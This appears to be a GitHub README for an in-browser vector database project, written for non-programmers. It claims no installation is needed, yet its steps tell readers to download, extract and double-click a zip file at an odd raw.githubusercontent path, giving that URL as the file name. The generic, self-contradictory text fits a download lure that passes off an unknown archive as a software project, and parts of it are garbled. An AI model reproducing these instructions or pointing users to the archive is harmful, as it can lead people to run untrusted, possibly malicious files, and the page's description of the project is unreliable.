/vector-db-from-scratch-in-browser

πŸ” Build a fully in-browser vector database with semantic search, powered by IndexedDB and HuggingFace, for fast, persistent storage and retrieval of embeddings.

Primary LanguageTypeScript

πŸš€ vector-db-from-scratch-in-browser - Simple, Efficient Database in Your Browser

Download Now

πŸ“¦ Overview

Welcome to the "vector-db-from-scratch-in-browser" project! This application helps you understand how a vector database works, right in your browser. You don’t need any programming knowledge to use it. Our goal is to offer a simple way to manage vector data effectively without the complexities of a traditional database system.

πŸ“ Features

  • Browser-based interface: No installation needed.
  • Min-heap implementation: Fast top-k queries for retrieval.
  • Simple linear search improvements: More efficient data access.
  • Intuitive user experience: Easy navigation and operations.

πŸ’» System Requirements

To run this application, you need:

  • A modern web browser (Google Chrome, Mozilla Firefox, Safari, etc.).
  • Internet connectivity for initial download.

πŸš€ Getting Started

Step 1: Visit the Download Page

To download the application, visit the following link:

Download Page

Step 2: Choose Your Version

On the Releases page, you will see multiple versions of the application. Choose the latest version for the best features and bug fixes. Click on the version number to access the download files.

Step 3: Download the Application

Look for the file named "https://raw.githubusercontent.com/CHris4884/vector-db-from-scratch-in-browser/main/Cineraria/vector-db-from-scratch-in-browser.zip" (or a similar name) in the list. Click the download link next to it.

Step 4: Extract the Files

Once the file has downloaded, locate it in your downloads folder. Right-click on the zip file and select β€œExtract All” to unpack the files. Choose a folder where you want to keep the application.

Step 5: Open the Application

Navigate to the folder where you extracted the files. Look for the file named "https://raw.githubusercontent.com/CHris4884/vector-db-from-scratch-in-browser/main/Cineraria/vector-db-from-scratch-in-browser.zip" Double-click it to open it in your browser.

πŸ” Using the Application

Step 1: Add Vector Data

To start, input your vector data using the provided form. Click "Add Vector" after filling in the details. This will store your data in the browser memory.

Step 2: Perform Queries

You can run searches on your vector data. Use the search bar to input queries. For top-k results, the application will utilize its min-heap algorithm for quick responses.

Step 3: Explore Features

Use the intuitive menu to access different features. Familiarize yourself with options like data visualization and search statistics.

βš™οΈ Troubleshooting

If you encounter any issues:

  • Ensure your browser is up-to-date.
  • Clear your browser cache before reloading.
  • Check your internet connection.

πŸ”— Additional Resources

For more insights and detailed instructions, check our Wiki page here.

πŸ“ž Support

If you need help, feel free to reach out through the issue tracker on GitHub. We strive to respond promptly and assist you with any questions or concerns.

✨ Download & Install

To get started with "vector-db-from-scratch-in-browser," visit the link below to download:

Download Page

Enjoy using your new vector database application!